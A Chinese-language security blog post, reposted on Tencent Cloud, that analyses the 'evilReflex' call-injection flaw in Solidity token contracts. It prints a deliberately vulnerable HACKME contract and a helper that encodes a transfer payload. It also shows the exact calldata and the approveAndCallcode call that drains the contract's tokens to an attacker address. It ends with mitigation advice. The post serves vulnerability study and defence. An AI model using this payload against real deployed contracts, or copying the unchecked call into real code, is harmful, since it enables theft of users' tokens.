专栏首页区块链安全技术隐秘的交易:暗藏危机的智能合约恶意调用

隐秘的交易:暗藏危机的智能合约恶意调用

文章前言

在这篇文章中,我们将对曾经出现过的一种叫做evilReflex的安全漏洞进行分析研究,攻击者可以通过该漏洞将存在evilReflex漏洞的合约中的任意数量的token转移到任意地址。

漏洞分析

漏洞函数approveAndCallcode()代码如下所示:

approveAndCallcode函数的用途是在完成approve操作时发出相关的调用通知,而在上述代码的L136处spender.call(extraData)中的_extraData为用户可控参数,在solidity语言我们可以通过call方法来实现对某个合约或者本地合约的某个方法进行调用,调用的方式大致如下:

<address>.call(方法选择器, arg1, arg2, …) 
<address>.call(bytes)

在使用call调用时我们可以通过传递参数的方式,将方法选择器、参数进行传递,也可以直接传入一个字节数组,在这里我们可以将要调用的合约方法以及相关参数转换为bytecode之后作为extraData参数传入,之后通过spender.call(extraData)实现对合约中的任意方法的调用,而此时的spender也是可控的,所以也可以在存在漏洞的合约中调用任意合约的任意方法并为其提供相关的方法参数。

漏洞演示

下面我们来做一个漏洞演示,模拟如何通过evilReflex漏洞窃取合约自身的token到任意地址,下面是存在漏洞的合约代码:

pragma solidity ^0.4.26;

contract Token {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success);

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success);

    /// @notice `msg.sender` approves `_spender` to spend `_value` tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @param _value The amount of tokens to be approved for transfer
    /// @return Whether the approval was successful or not
    function approve(address _spender, uint256 _value) returns (bool success);

    /// @param _owner The address of the account owning tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @return Amount of remaining tokens allowed to spent
    function allowance(address _owner, address _spender) constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}


contract StandardToken is Token {

    function transfer(address _to, uint256 _value) returns (bool success) {
        require(_to != address(0));
        require(_value <= balances[msg.sender]);
        //Default assumes totalSupply can't be over max (2^256 - 1).
        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
        //Replace the if with this one instead.
        require(balances[_to] + _value > balances[_to]);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        //same as above. Replace this line with the following if you want to protect against wrapping uints.
        require(balances[_to] + _value > balances[_to]);
        balances[_to] += _value;
        balances[_from] -= _value;
        allowed[_from][msg.sender] -= _value;
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }

    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
}

contract HACKME is StandardToken {

    function () {
        //if ether is sent to this address, send it back.
        revert();
    }

    string public name = "HACKME";                   //fancy name: eg Simon Bucks
    uint8 public decimals = 18;                //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
    string public symbol = "HACKME";                 //An identifier: eg SBX
    string public version = 'v0.1';       //stb 0.1 standard. Just an arbitrary versioning scheme.

    address public founder; // The address of the founder

    function HACKME() {
        founder = msg.sender;
        totalSupply = 20180000 * 10 ** uint256(decimals);
        balances[founder] = totalSupply / 2;
        balances[this] = totalSupply / 2;
    }

    /* Approves and then calls the receiving contract */
    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

        //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
        //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
        //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
        if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
        return true;
    }

    /* Approves and then calls the contract code*/
    function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

        //Call the contract code
        if(!_spender.call(_extraData)) { revert(); }
        return true;
    }
}

首先编译部署合约:

部署信息如下:

合约地址:0xf8e81D47203A594245E36C48e151709F0C19fBe8

合约资产:10090000000000000000000000

账号地址:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

账号资产:10090000000000000000000000

之后将transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)加密为bytecode,我们这里使用0x5B38Da6a701c568545dCfcB03FcB875f56beddC4地址账户来调用transfer的方式来获取bytecode(自己向自己转账):

交易信息如下,从中提取bytecode:

0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000

也可以通过部署一些testABI.sol文件来获取对应的bytecode信息:

pragma solidity ^0.4.26;

contract testABI {
    function abiEncode() public view returns (bytes memory) {
       return abi.encodeWithSignature("transfer(address,uint256)",0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000);
    }
}

部署合约后运行结果如下:

之后查看合约资产:

账户资产:

下面我们进入漏洞利用阶段来调用approveAndCallcode,相关参数如下:

  • _spender参数:存在漏洞的合约地址
  • _extraData参数:transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)的bytecode

这样一来在调用approveAndCallcode函数时将发出一个transfer调用,此时的资产接受地址为攻击者构造的extraData中的to地址信息,token数量为extraData中的value值,下面我们调用来看看这个流程:

approveAndCallcode(
    0xf8e81D47203A594245E36C48e151709F0C19fBe8,
    0,
0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
    )

交易信息如下:

之后查看合约资产————为0

之后查看账户资产————翻倍

安全建议

造成evilReflex漏洞的根本原因还是在于call注入,在合约开发过程中应尽量避免call调用中方法选择器可控以及相关参数的可控性或者直接指定方法选择器来规避类evilReflex安全问题的发生。

参考链接

https://github.com/Al1ex/EvilReflex

https://blog.peckshield.com/2018/06/23/evilReflex/

本文分享自微信公众号 - 七芒星实验室(HeptagramSec),作者:Al1ex

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-04-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 2018年信息安全大事件一览

    回顾2018年,网络犯罪分子通过不断升级攻击手段,进一步提高攻击成功率并加速感染设备的数量。凭借拓展攻击渠道和变换手段,发动TB级别DDoS攻击、瞄准区块链各节...

    FB客服
  • 鲜为人知的暗网,利用机器学习现在也能对其进行监控了

    导读:美剧《纸牌屋》中提到——96%的互联网数据无法通过标准搜索引擎访问,其中大部分属于无用信息,但隐藏在表层之下的有许许多多你无法想象的内容,包括:儿童贩卖、...

    AI科技评论
  • 2018上半年暗网现状:逐渐成为威胁情报来源

    在通常的解读中,暗网是指日常上网搜索时无法触及的网站及信息,需要通过 VPN 和 Tor 浏览器(或者Riffle、FreeNet、anoNet 和 ZeroN...

    FB客服
  • BOTCHAIN:第一个基于比特币协议的功能齐全的僵尸网络

    近期,来自Cybaze公司ZLab恶意软件实验室的安全专家Antonio Pirozzi和Pierluigi Paganini介绍了一款名叫BOTCHAIN的僵...

    FB客服
  • 2019年区块链安全事件总结,全球损失超60亿美元 | 盘点

    随着现代化信息技术和应用的快速发展,数字资产这种以计算机信息技术为基础的货币形式应运而生。其可追溯、防伪造、防篡改的特性,提升了交易安全性,2019年已成为业界...

    区块链大本营
  • 如何科学合理薅FreeBuf活动“羊毛”

    过年前网站推出一个叫“网藤杯智能安全机器人养成计划”的活动,刚开始以为是一个养蛙类型的活动,研究过后发现,这是一个上传数据拿奖品的活动,看着礼品还挺诱人的,作为...

    FB客服
  • 中情局数千份机密文档泄露 | 各种0day工具、恶意程序应有尽有

    维基解密最近再度获取到了数千份文件——据说这些文件是来自CIA(中央情报局),文件细数了CIA所用的网络入侵工具及其拥有的入侵能力。 实际上,以近些年美国政府的...

    FB客服
  • 安全研究人员提醒AI助理需谨防人耳听不到的“海豚攻击”

    中美研究人员已经验证了一种可向 Siri 等 AI 助理发出“隐藏式攻击命令”的方法,因其采用了人耳察觉不到的音频,从而强迫智能助理执行非机主下达的恶意命令。《...

    C4rpeDime
  • 日媒揭暗网:用虚拟货币结算 已成网络黑市犯罪温床

    环球网综合报道,《日本经济新闻》7月12日报道称,互联网空间存在着即使通过百度、谷歌和雅虎等进行搜索也不会显示的网站。这些网站被称为“暗网(Dark Web)”...

    C4rpeDime
  • 17岁少年买不到回国机票,雇佣黑客攻击航空公司

    2020年6月初,17岁的小陈因疫情原因滞留国外,由于无法买到回国机票而产生不满情绪。

    FB客服
  • 去中心化应用安全威胁Top10榜单

    NCC Group 发起了一个名为 2018 年去中心化应用安全 Top10(Decentralized Application Security Projec...

    FB客服
  • “晒生活”也会暴露隐私?

    ? 随着网络逐渐深入生活 孩子们也越来越喜欢在各种平台上分享日常 无论是文字、照片、还是视频… 然而他们并没有意识到 屏幕之外 也许危险正在悄悄靠近 ▼ ...

    腾讯举报中心
  • 中国黑客通过地下网络攻击移动用户

    作者 esperanza 中国黑客通过地下网络大量攻击移动用户趋势科技发现中国黑客通过地下网络的工具和服务,大量攻击移动用户。这样的地下网络遍布全球,尤其是俄罗...

    FB客服
  • 震惊! 95%的比特币交易和75%的EOS Dapp交易竟是由机器人完成!

    2018年EOS如同一匹黑马腾空而出,众多币圈和链圈大佬为其站台,币价也一路高升,各路区块链开发者纷纷投身于EOS平台开发Dapp。

    区块链大本营
  • 近在咫尺 当心身边的数据安全威胁尾随而至

    对于大多数人来说,最大的恐惧是什么?那就是危险近在咫尺却茫然不知。在信息时代,依靠信息技术和互联网,人们通过各种终端设备不断拉近彼此之间的距离,人类...

    安恒信息
  • 以太坊暗网? 这群北大才子做到了...

    说到比特币暗网,你能想到什么?丝绸之路、华尔街市场、贩毒、杀人、情色交易,一直以来,这些都是经常被人诟病的一面。但事物都有两面性,“暗”的另一面,是对现实世界的...

    区块链大本营
  • 什么是cryptojacking?如何防止,检测和从中恢复

    Cryptojacking是未经授权使用他人的计算机来窃取cryptocurrency。黑客通过让受害者单击电子邮件中的恶意链接来执行此操作,该电子邮件将加密代...

    重生信息安全
  • VR+恐怖游戏,你的小心脏真的承受得住吗?

    VRPinea
  • “转移战场”的暗网市场继续繁荣

    7月20日,美国前司法部长JeffSessions在新闻发布会上宣布了当前全球最大黑市网站“阿尔法湾”(AlphaBay)覆灭的消息。7月初,许多用户突然发现无...

    FB客服

扫码关注云+社区

领取腾讯云代金券